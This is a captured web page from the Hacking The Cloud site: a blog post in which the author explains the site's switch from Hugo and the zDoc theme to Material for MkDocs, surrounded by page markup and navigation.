46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 6, 2021 </span></p> </aside> <hr> <p>Whoa! Things look a little different? You're not imagining it.</p> <figure> <p><a class=glightbox href=../../images/blog/v2_new_look/old_look.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="The old look" loading=lazy src=../../images/blog/v2_new_look/old_look.png></a> </p> <figcaption>The old look.</figcaption> </figure> <p>Hacking The Cloud now uses <a href=https://squidfunk.github.io/mkdocs-material/ >Material for MkDocs</a> to render the beautiful HTML you see before you.</p> <h2 id=why-the-change>Why the Change?<a class=headerlink href=#why-the-change title="Permanent link">&para;</a></h2> <p>When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (<a href=https://gohugo.io/ >Hugo</a>) and finding a freely available theme for it (<a href=https://github.com/zzossig/hugo-theme-zdoc>zDoc</a>).</p> <p>This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.</p> <p><strong>To be clear, the zDoc theme is excellent</strong>, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.</p> <h2 id=why-material-for-mkdocs>Why Material for MkDocs?<a class=headerlink href=#why-material-for-mkdocs title="Permanent link">&para;</a></h2> <p>For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".</p> <p>By pure luck, I found what I was looking for. <a href=https://twitter.com/kmcquade3>Kinnaird McQuade</a> happened to <a href=https://twitter.com/kmcquade3/status/1465024645409738760>retweet</a> an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for. </p> <p>More than that, it's fun and easy to work with.</p> <p>If you'd like to support Material for MkDocs you can join me in <a href=https://squidfunk.github.io/mkdocs-material/insiders/#how-to-become-a-sponsor>sponsoring</a> the project.</p> <h2 id=what-does-this-mean-for-you>What Does This Mean for You?<a class=headerlink href=#what-does-this-mean-for-you title="Permanent link">&para;</a></h2> <p>Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.</p> <p>For folks interested in contributing, you are only a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> away! Our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud#contributing>contributing guide</a> has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions>discussions</a> page.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 1, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#why-the-change class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input 